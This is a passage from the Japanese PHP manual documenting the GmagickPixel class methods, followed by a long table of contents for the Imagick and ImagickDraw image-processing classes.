public __construct ( string $color = ? )
public getcolor ( bool $as_array = false , bool $normalize_array = false ) : mixed
public getcolorcount ( ) : int
public getcolorvalue ( int $color ) : float
public setcolor ( string $color ) : GmagickPixel
public setcolorvalue ( int $color , float $value ) : GmagickPixel
}

目次

  • GmagickPixel::__construct — GmagickPixel のコンストラクタ
  • GmagickPixel::getcolor — 色を返す
  • GmagickPixel::getcolorcount — この色の色カウントを返す
  • GmagickPixel::getcolorvalue — 指定した色チャネルの正規化した値を取得する
  • GmagickPixel::setcolor — 色を設定する
  • GmagickPixel::setcolorvalue — 色チャネルの正規化した値を設定する

User Contributed Notes

There are no user contributed notes for this page.


GmagickPixel のコンストラクタ

  • ≪ GmagickPixel
  • GmagickPixel::getcolor ≫
  • PHP Manual
  • GmagickPixel
  • GmagickPixel のコンストラクタ

GmagickPixel::__construct

(PECL gmagick >= Unknown)

GmagickPixel::__construct — GmagickPixel のコンストラクタ

説明

public GmagickPixel::__construct ( string $color = ? )

GmagickPixel オブジェクトを作ります。 色を指定した場合は、オブジェクトを作ってからその色で初期化したものを返します。

パラメータ

color

オプションで指定する色文字列。このオブジェクトの初期値として使います。

返り値

成功した場合に GmagickPixel オブジェクトを返します。

User Contributed Notes

There are no user contributed notes for this page.


色を返す

  • ≪ GmagickPixel::__construct
  • GmagickPixel::getcolorcount ≫
  • PHP Manual
  • GmagickPixel
  • 色を返す

GmagickPixel::getcolor

(PECL gmagick >= Unknown)

GmagickPixel::getcolor — 色を返す

説明

public GmagickPixel::getcolor ( bool $as_array = false , bool $normalize_array = false ) : mixed

GmagickPixel オブジェクトの色を文字列あるいは配列で返します。 透明度が設定されているときは、リストの四番目の値として返します。

パラメータ

as_array

true にすると、返り値を文字列ではなく配列にします。

normalize_array

true にすると、色の値を正規化します。

返り値

各チャネルの値を文字列あるいは配列で返します。normalize_array に true を市得治した場合は正規化をします。エラー時には GmagickPixelException をスローします。

User Contributed Notes

There are no user contributed notes for this page.


この色の色カウントを返す

  • ≪ GmagickPixel::getcolor
  • GmagickPixel::getcolorvalue ≫
  • PHP Manual
  • GmagickPixel
  • この色の色カウントを返す

GmagickPixel::getcolorcount

(PECL gmagick >= Unknown)

GmagickPixel::getcolorcount — この色の色カウントを返す

説明

public GmagickPixel::getcolorcount ( ) : int

この色に関連づけられた色カウントを返します。

パラメータ

この関数にはパラメータはありません。

返り値

成功した場合に色カウントを整数値で返します。失敗した場合は GmagickPixelException をスローします。

User Contributed Notes

There are no user contributed notes for this page.


指定した色チャネルの正規化した値を取得する

  • ≪ GmagickPixel::getcolorcount
  • GmagickPixel::setcolor ≫
  • PHP Manual
  • GmagickPixel
  • 指定した色チャネルの正規化した値を取得する

GmagickPixel::getcolorvalue

(PECL gmagick >= Unknown)

GmagickPixel::getcolorvalue — 指定した色チャネルの正規化した値を取得する

説明

public GmagickPixel::getcolorvalue ( int $color ) : float

指定した色チャネルの値を取得します。0 から 1 までの間の浮動小数点数値になります。

パラメータ

color

調べたいチャネル。Gmagick チャネル定数で指定します。

返り値

チャネルの値を、正規化した浮動小数点数値で返します。エラー時には GmagickPixelException をスローします。

User Contributed Notes

There are no user contributed notes for this page.


色を設定する

  • ≪ GmagickPixel::getcolorvalue
  • GmagickPixel::setcolorvalue ≫
  • PHP Manual
  • GmagickPixel
  • 色を設定する

GmagickPixel::setcolor

(PECL gmagick >= Unknown)

GmagickPixel::setcolor — 色を設定する

説明

public GmagickPixel::setcolor ( string $color ) : GmagickPixel

GmagickPixel オブジェクトの色を文字列で設定します ("blue"、"#0000ff"、"rgb(0,0,255)"、"cmyk(100,100,100,10)" など)。

パラメータ

color

GmagickPixel オブジェクトを初期化するときに使う色。

返り値

成功した場合に GmagickPixel オブジェクトを返します。

User Contributed Notes

There are no user contributed notes for this page.


色チャネルの正規化した値を設定する

  • ≪ GmagickPixel::setcolor
  • ImageMagick ≫
  • PHP Manual
  • GmagickPixel
  • 色チャネルの正規化した値を設定する

GmagickPixel::setcolorvalue

(PECL gmagick >= Unknown)

GmagickPixel::setcolorvalue — 色チャネルの正規化した値を設定する

説明

public GmagickPixel::setcolorvalue ( int $color , float $value ) : GmagickPixel

このオブジェクトの指定したチャネルの値を設定します。これは 0 から 1 までの間の値になります。 この関数を使って GmagickPixel オブジェクトの透明度チャネルを設定できます。

パラメータ

color

Gmagick チャネル定数のいずれか。

value

設定したい値。0 から 1 までの範囲で指定します。

返り値

成功した場合に GmagickPixel オブジェクトを返します。

User Contributed Notes

There are no user contributed notes for this page.


画像処理 (ImageMagick)

  • はじめに
  • インストール/設定
    • 要件
    • インストール手順
    • 実行時設定
    • リソース型
  • 定義済み定数
  • 例
    • 基本的な使用法
  • Imagick — Imagick クラス
    • Imagick::adaptiveBlurImage — adaptive blur (順応性にじみ) フィルタを画像に追加する
    • Imagick::adaptiveResizeImage — データに依存する三角測量にもとづいて画像のサイズを変更する
    • Imagick::adaptiveSharpenImage — 順応して画像をシャープにする
    • Imagick::adaptiveThresholdImage — 輝度の範囲にもとづいて各ピクセルの閾値を選択する
    • Imagick::addImage — 新しい画像を Imagick オブジェクトの画像リストに追加する
    • Imagick::addNoiseImage — ランダムなノイズを画像に追加する
    • Imagick::affineTransformImage — 画像を変換する
    • Imagick::animateImages — 画像を動かす
    • Imagick::annotateImage — 画像にテキストによる注記を加える
    • Imagick::appendImages — 画像群を追加する
    • Imagick::autoLevelImage — Description
    • Imagick::averageImages — 画像群を平均化する
    • Imagick::blackThresholdImage — 閾値に満たないすべてのピクセルを黒にする
    • Imagick::blueShiftImage — Description
    • Imagick::blurImage — blur (にじみ) フィルタを画像に追加する
    • Imagick::borderImage — 画像の周りを枠線で囲む
    • Imagick::brightnessContrastImage — Description
    • Imagick::charcoalImage — 木炭画をシミュレートする
    • Imagick::chopImage — 画像の一部を取り除き、切り詰める
    • Imagick::clampImage — Description
    • Imagick::clear — Imagick オブジェクトに関連付けられたすべてのリソースをクリアする
    • Imagick::clipImage — 8BIM プロファイルの最初のパスにそって切り取る
    • Imagick::clipImagePath — Description
    • Imagick::clipPathImage — 8BIM プロファイルの指定した名前のパスにそって切り取る
    • Imagick::clone — Imagick オブジェクトの完全なコピーを作成する
    • Imagick::clutImage — 画像の色を置き換える
    • Imagick::coalesceImages — 複数の画像を合成する
    • Imagick::colorFloodfillImage — 対象にマッチする任意の点の色の値を変更する
    • Imagick::colorizeImage — 塗りつぶし色と画像を混合する
    • Imagick::colorMatrixImage — Description
    • Imagick::combineImages — ひとつあるいは複数の画像をひとつにまとめる
    • Imagick::commentImage — コメントを画像に追加する
    • Imagick::compareImageChannels — ひとつあるいは複数の画像の差を返す
    • Imagick::compareImageLayers — 複数の画像の中で最大の境界範囲を返す
    • Imagick::compareImages — ある画像を再構築された画像と比較する
    • Imagick::compositeImage — ある画像を別の画像に合成する
    • Imagick::__construct — Imagick のコンストラクタ
    • Imagick::contrastImage — 画像のコントラストを変更する
    • Imagick::contrastStretchImage — カラー画像のコントラストを強調する
    • Imagick::convolveImage — 独自の畳み込み関数を画像に適用する
    • Imagick::count — Get the number of images
    • Imagick::cropImage — 画像の一部を抽出する
    • Imagick::cropThumbnailImage — 切り取ってサムネイルを作成する
    • Imagick::current — 現在の Imagick オブジェクトへの参照を返す
    • Imagick::cycleColormapImage — 画像のカラーマップを移動する
    • Imagick::decipherImage — 画像を復号する
    • Imagick::deconstructImages — 画像間の特定のピクセルの差を返す
    • Imagick::deleteImageArtifact — 画像のアーチファクトを削除する
    • Imagick::deleteImageProperty — Description
    • Imagick::deskewImage — 傾きを除去する
    • Imagick::despeckleImage — 画像内のスペックルノイズを軽減する
    • Imagick::destroy — Imagick オブジェクトを破棄する
    • Imagick::displayImage — 画像を表示する
    • Imagick::displayImages — 画像あるいは画像シーケンスを表示する
    • Imagick::distortImage — さまざまな方式で画像を歪める
    • Imagick::drawImage — 現在の画像上の ImagickDraw オブジェクトをレンダリングする
    • Imagick::edgeImage — 画像の輪郭を強調する
    • Imagick::embossImage — グレースケール画像に三次元効果を施して返す
    • Imagick::encipherImage — 画像を暗号化する
    • Imagick::enhanceImage — ノイジーな画像の品質を向上させる
    • Imagick::equalizeImage — 画像ヒストグラムを均等化する
    • Imagick::evaluateImage — 式を画像に適用する
    • Imagick::exportImagePixels — 画像の生のピクセルをエクスポートする
    • Imagick::extentImage — 画像のサイズを設定する
    • Imagick::filter — Description
    • Imagick::flattenImages — 画像シーケンスをマージする
    • Imagick::flipImage — 垂直方向に反転した画像を作成する
    • Imagick::floodFillPaintImage — 対象にマッチする任意のピクセルの値を変更する
    • Imagick::flopImage — 垂直方向に反転した画像を作成する
    • Imagick::forwardFourierTransformImage — Description
    • Imagick::frameImage — 三次元の枠線をシミュレートする
    • Imagick::functionImage — 画像に関数を適用する
    • Imagick::fxImage — 式を画像の各ピクセルに適用する
    • Imagick::gammaImage — 画像をガンマ補正する
    • Imagick::gaussianBlurImage — 画像をぼかす
    • Imagick::getColorspace — 色空間を取得する
    • Imagick::getCompression — オブジェクトの圧縮形式を取得する
    • Imagick::getCompressionQuality — オブジェクトの圧縮品質を取得する
    • Imagick::getCopyright — ImageMagick API の著作権情報を文字列で返す
    • Imagick::getFilename — 画像シーケンスに関連付けられたファイル名を取得する
    • Imagick::getFont — フォントを取得する
    • Imagick::getFormat — Imagick オブジェクトのフォーマットを取得する
    • Imagick::getGravity — gravity を取得する
    • Imagick::getHomeURL — ImageMagick のホーム URL を返す
    • Imagick::getImage — 新しい Imagick オブジェクトを返す
    • Imagick::getImageAlphaChannel — 画像のアルファチャネルを取得する
    • Imagick::getImageArtifact — 画像のアーチファクトを取得する
    • Imagick::getImageAttribute — Description
    • Imagick::getImageBackgroundColor — 画像の背景色を返す
    • Imagick::getImageBlob — 画像シーケンスを blob で返す
    • Imagick::getImageBluePrimary — 青が一番強い点を返す
    • Imagick::getImageBorderColor — 画像の前景色を返す
    • Imagick::getImageChannelDepth — 特定の画像チャネルの深度を返す
    • Imagick::getImageChannelDistortion — 画像のチャネルを再構築した画像と比較する
    • Imagick::getImageChannelDistortions — チャネルの歪みを取得する
    • Imagick::getImageChannelExtrema — ひとつあるいは複数の画像チャネルの極値を取得する
    • Imagick::getImageChannelKurtosis — getImageChannelKurtosis
    • Imagick::getImageChannelMean — 平均値と標準偏差を取得する
    • Imagick::getImageChannelRange — チャネルの範囲を取得する
    • Imagick::getImageChannelStatistics — 画像の各チャネルの統計情報を返す
    • Imagick::getImageClipMask — 画像のクリップマスクを取得する
    • Imagick::getImageColormapColor — 指定したインデックスに対応する色マップ上の色を返す
    • Imagick::getImageColors — 画像で使われている色の数を取得する
    • Imagick::getImageColorspace — 画像の色空間を取得する
    • Imagick::getImageCompose — 画像の合成演算子を返す
    • Imagick::getImageCompression — 現在の画像の圧縮形式を取得する
    • Imagick::getImageCompressionQuality — 現在の画像の圧縮品質を取得する
    • Imagick::getImageDelay — 画像の遅延を取得する
    • Imagick::getImageDepth — 画像の深度を取得する
    • Imagick::getImageDispose — 画像の配置方法を取得する
    • Imagick::getImageDistortion — ある画像と再構築した画像を比較する
    • Imagick::getImageExtrema — 画像の極値を取得する
    • Imagick::getImageFilename — シーケンス内の特定の画像のファイル名を返す
    • Imagick::getImageFormat — シーケンス内の特定の画像のフォーマットを返す
    • Imagick::getImageGamma — 画像のガンマを取得する
    • Imagick::getImageGeometry — 幅と高さを連想配列で取得する
    • Imagick::getImageGravity — 画像の gravity を取得する
    • Imagick::getImageGreenPrimary — 緑が一番強い点を返す
    • Imagick::getImageHeight — 画像の高さを返す
    • Imagick::getImageHistogram — 画像のヒストグラムを取得する
    • Imagick::getImageIndex — 現在アクティブな画像のインデックスを取得する
    • Imagick::getImageInterlaceScheme — 画像のインターレース手法を取得する
    • Imagick::getImageInterpolateMethod — 画像の補間方式を返す
    • Imagick::getImageIterations — 画像の反復を取得する
    • Imagick::getImageLength — 画像の長さをバイト数で取得する
    • Imagick::getImageMatte — 画像がマットチャネルを持っているかどうかを返す
    • Imagick::getImageMatteColor — 画像のマット色を返す
    • Imagick::getImageMimeType — Description
    • Imagick::getImageOrientation — 画像の方向を取得する
    • Imagick::getImagePage — ページのジオメトリを返す
    • Imagick::getImagePixelColor — 指定したピクセルの色を返す
    • Imagick::getImageProfile — 指定した名前の画像プロファイルを返す
    • Imagick::getImageProfiles — 画像プロファイルを返す
    • Imagick::getImageProperties — 画像のプロパティを返す
    • Imagick::getImageProperty — 指定した名前の画像のプロパティを返す
    • Imagick::getImageRedPrimary — 赤が一番強い点を返す
    • Imagick::getImageRegion — 画像の一部を抽出する
    • Imagick::getImageRenderingIntent — 画像のレンダリング方向を取得する
    • Imagick::getImageResolution — 画像の X 方向と Y 方向の解像度を取得する
    • Imagick::getImagesBlob — すべての画像シーケンスを blob で返す
    • Imagick::getImageScene — 画像のシーンを取得する
    • Imagick::getImageSignature — SHA-256 メッセージダイジェストを生成する
    • Imagick::getImageSize — 画像の長さをバイト数で返す
    • Imagick::getImageTicksPerSecond — 画像の ticks-per-second を取得する
    • Imagick::getImageTotalInkDensity — 画像の総インク密度を取得する
    • Imagick::getImageType — 画像の型を取得する
    • Imagick::getImageUnits — 画像の解像度の単位を取得する
    • Imagick::getImageVirtualPixelMethod — 仮想ピクセルメソッドを取得する
    • Imagick::getImageWhitePoint — 色度が白い点を返す
    • Imagick::getImageWidth — 画像の幅を返す
    • Imagick::getInterlaceScheme — オブジェクトのインターレース方式を取得する
    • Imagick::getIteratorIndex — 現在アクティブな画像のインデックスを取得する
    • Imagick::getNumberImages — オブジェクト内の画像の数を返す
    • Imagick::getOption — 指定したキーに対応する値を返す
    • Imagick::getPackageName — ImageMagick パッケージ名を返す
    • Imagick::getPage — ページのジオメトリを返す
    • Imagick::getPixelIterator — MagickPixelIterator を返す
    • Imagick::getPixelRegionIterator — 画像セクションの ImagickPixelIterator を取得する
    • Imagick::getPointSize — ポイントサイズを取得する
    • Imagick::getQuantum — Description
    • Imagick::getQuantumDepth — quantum depth を取得する
    • Imagick::getQuantumRange — Imagick quantum range を返す
    • Imagick::getRegistry — Description
    • Imagick::getReleaseDate — ImageMagick のリリース日を返す
    • Imagick::getResource — 指定したリソースのメモリ使用状況を返す
    • Imagick::getResourceLimit — 指定したリソースの制限を返す
    • Imagick::getSamplingFactors — 水平方向および垂直方向のサンプリング係数を取得する
    • Imagick::getSize — Returns the size associated with the Imagick object
    • Imagick::getSizeOffset — サイズのオフセットを返す
    • Imagick::getVersion — ImageMagick API のバージョンを返す
    • Imagick::haldClutImage — 画像内の色を置換する
    • Imagick::hasNextImage — オブジェクトが次の画像を保持しているかどうかを調べる
    • Imagick::hasPreviousImage — オブジェクトが前の画像を保持しているかどうかを調べる
    • Imagick::identifyFormat — Description
    • Imagick::identifyImage — 画像を識別し、属性を取得する
    • Imagick::implodeImage — 新しい画像をコピーとして作成する
    • Imagick::importImagePixels — 画像のピクセルをインポートする
    • Imagick::inverseFourierTransformImage — Description
    • Imagick::labelImage — ラベルを画像に追加する
    • Imagick::levelImage — 画像のレベルを調節する
    • Imagick::linearStretchImage — 画像の輝度を引き伸ばして飽和させる
    • Imagick::liquidRescaleImage — 画像を動かす
    • Imagick::listRegistry — Description
    • Imagick::magnifyImage — 画像を 2 倍に比例拡大する
    • Imagick::mapImage — 画像の色を、参照画像の中の最も近い色に置き換える
    • Imagick::matteFloodfillImage — 色の透明度を変更する
    • Imagick::medianFilterImage — デジタルフィルタを適用する
    • Imagick::mergeImageLayers — 画像のレイヤーをマージする
    • Imagick::minifyImage — 画像をその半分のサイズに比例縮小する
    • Imagick::modulateImage — 明度、飽和度、色相を制御する
    • Imagick::montageImage — 合成画像を作成する
    • Imagick::morphImages — 複数の画像をモーフィングする
    • Imagick::morphology — Description
    • Imagick::mosaicImages — 画像からモザイクを作成する
    • Imagick::motionBlurImage — モーションブラーをシミュレートする
    • Imagick::negateImage — 画像の色を打ち消す
    • Imagick::newImage — 新しい画像を作成する
    • Imagick::newPseudoImage — 新しい画像を作成する
    • Imagick::nextImage — 次の画像に移動する
    • Imagick::normalizeImage — カラー画像のコントラストを強調する
    • Imagick::oilPaintImage — 油絵をシミュレートする
    • Imagick::opaquePaintImage — 対象にマッチする任意のピクセルの色を変更する
    • Imagick::optimizeImageLayers — 画像の繰り返し部分を削除して最適化する
    • Imagick::orderedPosterizeImage — 配列ディザリングを行う
    • Imagick::paintFloodfillImage — 色にマッチするピクセルを変更する
    • Imagick::paintOpaqueImage — 色にマッチするピクセルを変更する
    • Imagick::paintTransparentImage — 色にマッチするピクセルを塗りつぶし色に変更する
    • Imagick::pingImage — 画像の基本属性を取得する
    • Imagick::pingImageBlob — 手早く属性を取得する
    • Imagick::pingImageFile — 画像の基本属性を手軽に取得する
    • Imagick::polaroidImage — ポラロイド写真をシミュレートする
    • Imagick::posterizeImage — 指定した色数まで画像を減色する
    • Imagick::previewImages — 画像処理用の適切なパラメータを手早く取得する
    • Imagick::previousImage — オブジェクト内の前の画像に移動する
    • Imagick::profileImage — 画像のプロファイルを追加あるいは削除する
    • Imagick::quantizeImage — 参照画像内の色を解析する
    • Imagick::quantizeImages — 画像シーケンス内の色を解析する
    • Imagick::queryFontMetrics — フォントメトリクスを表す配列を返す
    • Imagick::queryFonts — 設定したフォントを返す
    • Imagick::queryFormats — Imagick がサポートするフォーマットを返す
    • Imagick::radialBlurImage — 画像にラジアルブラーを施す
    • Imagick::raiseImage — 三次元のボタン風の効果をシミュレートする
    • Imagick::randomThresholdImage — コントラストの高い 2 色の画像を作成する
    • Imagick::readImage — ファイルから画像を読み込む
    • Imagick::readImageBlob — バイナリ文字列から画像を読み込む
    • Imagick::readImageFile — オープンしているファイルハンドルから画像を読み込む
    • Imagick::readimages — Description
    • Imagick::recolorImage — 画像の色を変更する
    • Imagick::reduceNoiseImage — 画像の輪郭をなめらかにする
    • Imagick::remapImage — 画像の色を再配置する
    • Imagick::removeImage — 画像リストから画像を削除する
    • Imagick::removeImageProfile — 指定した名前の画像プロファイルを削除してそれを返す
    • Imagick::render — それまでのすべての描画コマンドをレンダリングする
    • Imagick::resampleImage — 画像を指定した解像度にリサンプリングする
    • Imagick::resetImagePage — 画像のページをリセットする
    • Imagick::resizeImage — 画像のサイズを変更する
    • Imagick::rollImage — 画像を補正する
    • Imagick::rotateImage — 画像を回転する
    • Imagick::rotationalBlurImage — Description
    • Imagick::roundCorners — 画像の角を丸める
    • Imagick::sampleImage — ピクセルのサンプリングによって画像の倍率を変更する
    • Imagick::scaleImage — 画像のサイズを変更する
    • Imagick::segmentImage — 画像を分割する
    • Imagick::selectiveBlurImage — Description
    • Imagick::separateImageChannel — 画像からチャネルを分離する
    • Imagick::sepiaToneImage — 画像をセピア調にする
    • Imagick::setBackgroundColor — オブジェクトのデフォルト背景色を設定する
    • Imagick::setColorspace — 色空間を設定する
    • Imagick::setCompression — オブジェクトのデフォルトの圧縮方式を設定する
    • Imagick::setCompressionQuality — オブジェクトのデフォルトの圧縮品質を設定する
    • Imagick::setFilename — 画像を読み書きする前にファイル名を設定する
    • Imagick::setFirstIterator — Imagick イテレータを最初の画像に設定する
    • Imagick::setFont — フォントを設定する
    • Imagick::setFormat — Imagick オブジェクトのフォーマットを設定する
    • Imagick::setGravity — gravity を設定する
    • Imagick::setImage — オブジェクト内の画像を置き換える
    • Imagick::setImageAlphaChannel — 画像のアルファチャネルを設定する
    • Imagick::setImageArtifact — 画像のアーチファクトを設定する
    • Imagick::setImageAttribute — Description
    • Imagick::setImageBackgroundColor — 画像の背景色を設定する
    • Imagick::setImageBias — 画像を折りたたむ任意のメソッドについて画像のバイアスを設定する
    • Imagick::setImageBiasQuantum — Description
    • Imagick::setImageBluePrimary — 青が一番強い点を設定する
    • Imagick::setImageBorderColor — 画像の前景色を設定する
    • Imagick::setImageChannelDepth — 特定の画像チャネルの深度を設定する
    • Imagick::setImageClipMask — 画像のクリップマスクを設定する
    • Imagick::setImageColormapColor — 指定した色マップインデックスの色を設定する
    • Imagick::setImageColorspace — 画像の色空間を設定する
    • Imagick::setImageCompose — 画像の合成演算子を設定する
    • Imagick::setImageCompression — 画像の圧縮を設定する
    • Imagick::setImageCompressionQuality — 画像の圧縮品質を設定する
    • Imagick::setImageDelay — 画像の遅延を設定する
    • Imagick::setImageDepth — 画像の深度を設定する
    • Imagick::setImageDispose — 画像の配置方法を設定する
    • Imagick::setImageExtent — 画像のサイズを設定する
    • Imagick::setImageFilename — 特定の画像のファイル名を設定する
    • Imagick::setImageFormat — 特定の画像のフォーマットを設定する
    • Imagick::setImageGamma — 画像のガンマを設定する
    • Imagick::setImageGravity — 画像の gravity を設定する
    • Imagick::setImageGreenPrimary — 緑が一番強い点を設定する
    • Imagick::setImageIndex — イテレータの位置を設定する
    • Imagick::setImageInterlaceScheme — 画像のインターレース手法を設定する
    • Imagick::setImageInterpolateMethod — 画像のピクセル補間方式を設定する
    • Imagick::setImageIterations — 画像の反復を設定する
    • Imagick::setImageMatte — 画像のマットチャネルを設定する
    • Imagick::setImageMatteColor — 画像のマット色を設定する
    • Imagick::setImageOpacity — 画像の不透明度を設定する
    • Imagick::setImageOrientation — 画像の方向を設定する
    • Imagick::setImagePage — 画像のページのジオメトリを設定する
    • Imagick::setImageProfile — 指定した名前の画像プロファイルを Imagick オブジェクトに追加する
    • Imagick::setImageProperty — 画像のプロパティを設定する
    • Imagick::setImageRedPrimary — 赤が一番強い点を設定する
    • Imagick::setImageRenderingIntent — 画像のレンダリング方向を設定する
    • Imagick::setImageResolution — 画像の解像度を設定する
    • Imagick::setImageScene — 画像のシーンを設定する
    • Imagick::setImageTicksPerSecond — 画像の ticks-per-second を設定する
    • Imagick::setImageType — 画像の型を設定する
    • Imagick::setImageUnits — 画像の解像度の単位を設定する
    • Imagick::setImageVirtualPixelMethod — 画像の仮想ピクセルメソッドを設定する
    • Imagick::setImageWhitePoint — 画像の色度が白い点を設定する
    • Imagick::setInterlaceScheme — 画像の圧縮を設定する
    • Imagick::setIteratorIndex — イテレータの位置を設定する
    • Imagick::setLastIterator — Imagick イテレータを最後の画像に設定する
    • Imagick::setOption — オプションを設定する
    • Imagick::setPage — Imagick オブジェクトのページジオメトリを設定する
    • Imagick::setPointSize — ポイントサイズを設定する
    • Imagick::setProgressMonitor — Description
    • Imagick::setRegistry — Description
    • Imagick::setResolution — 画像の解像度を設定する
    • Imagick::setResourceLimit — 特定のリソースの制限を設定する
    • Imagick::setSamplingFactors — 画像のサンプリング係数を設定する
    • Imagick::setSize — Imagick オブジェクトのサイズを設定する
    • Imagick::setSizeOffset — Imagick オブジェクトのサイズのオフセットを設定する
    • Imagick::setType — 画像タイプ属性を設定する
    • Imagick::shadeImage — 3D 効果を作成する
    • Imagick::shadowImage — 画像の影をシミュレートする
    • Imagick::sharpenImage — 画像をシャープにする
    • Imagick::shaveImage — 画像の輪郭からピクセルを刈り取る
    • Imagick::shearImage — 平行四辺形を作成する
    • Imagick::sigmoidalContrastImage — 画像のコントラストを調整する
    • Imagick::sketchImage — 鉛筆画をシミュレートする
    • Imagick::smushImages — Description
    • Imagick::solarizeImage — 画像にソラリゼーション効果を適用する
    • Imagick::sparseColorImage — 色を補間する
    • Imagick::spliceImage — 無地の画像を作成する
    • Imagick::spreadImage — ブロック内の各ピクセルをランダムに移動する
    • Imagick::statisticImage — Description
    • Imagick::steganoImage — デジタル透かしを画像に埋め込む
    • Imagick::stereoImage — ふたつの画像を合成する
    • Imagick::stripImage — 画像からすべてのプロパティやコメントを除去する
    • Imagick::subImageMatch — Description
    • Imagick::swirlImage — 画像の中心から、ピクセルを渦巻状にする
    • Imagick::textureImage — テクスチャ画像をタイル状に並べる
    • Imagick::thresholdImage — 閾値にもとづいて個々のピクセルの値を変更する
    • Imagick::thumbnailImage — 画像のサイズを変更する
    • Imagick::tintImage — 色ベクトルを画像の各ピクセルに適用する
    • Imagick::__toString — Returns the image as a string
    • Imagick::transformImage — 切り取るサイズと画像のジオメトリを設定する便利なメソッド
    • Imagick::transformImageColorspace — Transforms an image to a new colorspace
    • Imagick::transparentPaintImage — ピクセルを透過させる
    • Imagick::transposeImage — 垂直方向に反転させた画像を作成する
    • Imagick::transverseImage — 水平方向に反転させた画像を作成する
    • Imagick::trimImage — 画像の輪郭を削除する
    • Imagick::uniqueImageColors — ある 1 色以外のすべての色のピクセルを削除する
    • Imagick::unsharpMaskImage — 画像をシャープにする
    • Imagick::valid — 現在のアイテムが有効かどうかを調べる
    • Imagick::vignetteImage — ビネットフィルタを画像に追加する
    • Imagick::waveImage — ウェーブフィルタを画像に適用する
    • Imagick::whiteThresholdImage — 閾値に満たないすべてのピクセルを白にする
    • Imagick::writeImage — 指定した名前で画像を書き込む
    • Imagick::writeImageFile — 画像をファイルハンドルに書き出す
    • Imagick::writeImages — 画像あるいは画像シーケンスを書き込む
    • Imagick::writeImagesFile — フレームをファイルハンドルに書き出す
  • ImagickDraw — ImagickDraw クラス
    • ImagickDraw::affine — 現在のアフィン変換行列を設定する
    • ImagickDraw::annotation — 画像上にテキストを描画する
    • ImagickDraw::arc — 円弧を描画する
    • ImagickDraw::bezier — ベジエ曲線を描画する
    • ImagickDraw::circle — 円を描画する
    • ImagickDraw::clear — ImagickDraw をクリアする
    • ImagickDraw::clone — 指定した ImagickDraw オブジェクトの完全なコピーを作成する
    • ImagickDraw::color — 画像上に色を描画する
    • ImagickDraw::comment — コメントを追加する
    • ImagickDraw::composite — 現在の画像上に別の画像を合成する
    • ImagickDraw::__construct — ImagickDraw コンストラクタ
    • ImagickDraw::destroy — 関連付けられたすべてのリソースを開放する
    • ImagickDraw::ellipse — 画像上に楕円を描画する
    • ImagickDraw::getClipPath — 現在のクリッピングパスの ID を取得する
    • ImagickDraw::getClipRule — 現在の多角形塗りつぶしルールを返す
    • ImagickDraw::getClipUnits — クリップパスの単位の解釈を返す
    • ImagickDraw::getFillColor — 塗りつぶし色を返す
    • ImagickDraw::getFillOpacity — 描画時の透過度を返す
    • ImagickDraw::getFillRule — 塗りつぶしルールを返す
    • ImagickDraw::getFont — フォントを返す
    • ImagickDraw::getFontFamily — フォントファミリーを返す
    • ImagickDraw::getFontSize — フォントのポイント数を返す
    • ImagickDraw::getFontStretch — Description
    • ImagickDraw::getFontStyle — フォントのスタイルを返す
    • ImagickDraw::getFontWeight — フォントの重さを返す
    • ImagickDraw::getGravity — テキストの配置時の gravity を返す
    • ImagickDraw::getStrokeAntialias — 現在の縁取りのアンチエイリアス設定を返す
    • ImagickDraw::getStrokeColor — オブジェクトの縁取りに使用する色を返す
    • ImagickDraw::getStrokeDashArray — パスの描画に使用する破線のパターンを表す配列を返す
    • ImagickDraw::getStrokeDashOffset — 破線パターンにおける破線の開始オフセットを返す
    • ImagickDraw::getStrokeLineCap — 開かれたサブパスを描画する際に使用する端点の形状を返す
    • ImagickDraw::getStrokeLineJoin — パスの角を描画する際に使用する形状を返す
    • ImagickDraw::getStrokeMiterLimit — マイターリミットを返す
    • ImagickDraw::getStrokeOpacity — オブジェクトの枠線の透明度を返す
    • ImagickDraw::getStrokeWidth — オブジェクトの枠線の描画に使用する線の幅を返す
    • ImagickDraw::getTextAlignment — テキストの配置を返す
    • ImagickDraw::getTextAntialias — 現在のテキストのアンチエイリアス設定を返す
    • ImagickDraw::getTextDecoration — テキストの装飾を返す
    • ImagickDraw::getTextEncoding — テキストによる注記の際に使用するコードセットを返す
    • ImagickDraw::getTextInterlineSpacing — Description
    • ImagickDraw::getTextInterwordSpacing — Description
    • ImagickDraw::getTextKerning — Description
    • ImagickDraw::getTextUnderColor — テキストの背景色を返す
    • ImagickDraw::getVectorGraphics — ベクターグラフィックを含む文字列を返す
    • ImagickDraw::line — 直線を描画する
    • ImagickDraw::matte — 画像の opacity チャネル上に描画する
    • ImagickDraw::pathClose — パス要素を現在のパスに追加する
    • ImagickDraw::pathCurveToAbsolute — 三次ベジエ曲線を描画する
    • ImagickDraw::pathCurveToQuadraticBezierAbsolute — 二次ベジエ曲線を描画する
    • ImagickDraw::pathCurveToQuadraticBezierRelative — 二次ベジエ曲線を描画する
    • ImagickDraw::pathCurveToQuadraticBezierSmoothAbsolute — 二次ベジエ曲線を描画する
    • ImagickDraw::pathCurveToQuadraticBezierSmoothRelative — 二次ベジエ曲線を描画する
    • ImagickDraw::pathCurveToRelative — 三次ベジエ曲線を描画する
    • ImagickDraw::pathCurveToSmoothAbsolute — 三次ベジエ曲線を描画する
    • ImagickDraw::pathCurveToSmoothRelative — 三次ベジエ曲線を描画する
    • ImagickDraw::pathEllipticArcAbsolute — 楕円弧を描画する
    • ImagickDraw::pathEllipticArcRelative — 楕円弧を描画する
    • ImagickDraw::pathFinish — 現在のパスを終了する
    • ImagickDraw::pathLineToAbsolute — 直線パスを描画する
    • ImagickDraw::pathLineToHorizontalAbsolute — 水平直線パスを描画する
    • ImagickDraw::pathLineToHorizontalRelative — 水平直線パスを描画する
    • ImagickDraw::pathLineToRelative — 直線パスを描画する
    • ImagickDraw::pathLineToVerticalAbsolute — 垂直直線パスを描画する
    • ImagickDraw::pathLineToVerticalRelative — 垂直直線パスを描画する
    • ImagickDraw::pathMoveToAbsolute — 新しいサブパスを開始する
    • ImagickDraw::pathMoveToRelative — 新しいサブパスを開始する
    • ImagickDraw::pathStart — パス描画リストの開始を宣言する
    • ImagickDraw::point — 点を描画する
    • ImagickDraw::polygon — 多角形を描画する
    • ImagickDraw::polyline — 線分群を描画する
    • ImagickDraw::pop — スタック内の現在の ImagickDraw を破棄し、事前に push された ImagickDraw を返す
    • ImagickDraw::popClipPath — クリップパスの定義を終了する
    • ImagickDraw::popDefs — 定義リストを終了する
    • ImagickDraw::popPattern — パターン定義を終了する
    • ImagickDraw::push — 現在の ImagickDraw をコピーしてスタックに格納する
